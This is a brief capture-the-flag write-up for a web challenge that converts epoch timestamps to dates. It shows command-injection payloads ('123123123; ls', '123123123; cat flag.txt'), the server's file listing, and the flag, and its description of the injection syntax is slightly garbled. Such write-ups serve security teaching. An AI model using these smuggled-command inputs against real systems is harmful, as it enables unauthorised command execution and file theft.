About the Challenge

We were given a website without the source code, where the website only has one functionality: converting the epoch to date.

Epoch Reverter as a Service

123123123

submit

Mon Nov 26 00:52:03 UTC 1973

How to Solve?

The website is vulnerable to OS Command Injection through the addition of `f ;` after the epoch, followed by the command you want to execute

123123123; ls

submit

Mon Nov 26 00:52:03 UTC 1973 __pycache__ flag.txt main.py report.py requirements.txt run.sh templates

123123123; cat flag.txt

submit

Mon Nov 26 00:52:03 UTC 1973 nite{b3tt3r_n0_c5p_th7n_b7d_c5p_r16ht_fh8w4d}

nite{b3tt3r_n0_c5p_th7n_b7d_c5p_r16ht_fh8w4d} 📄
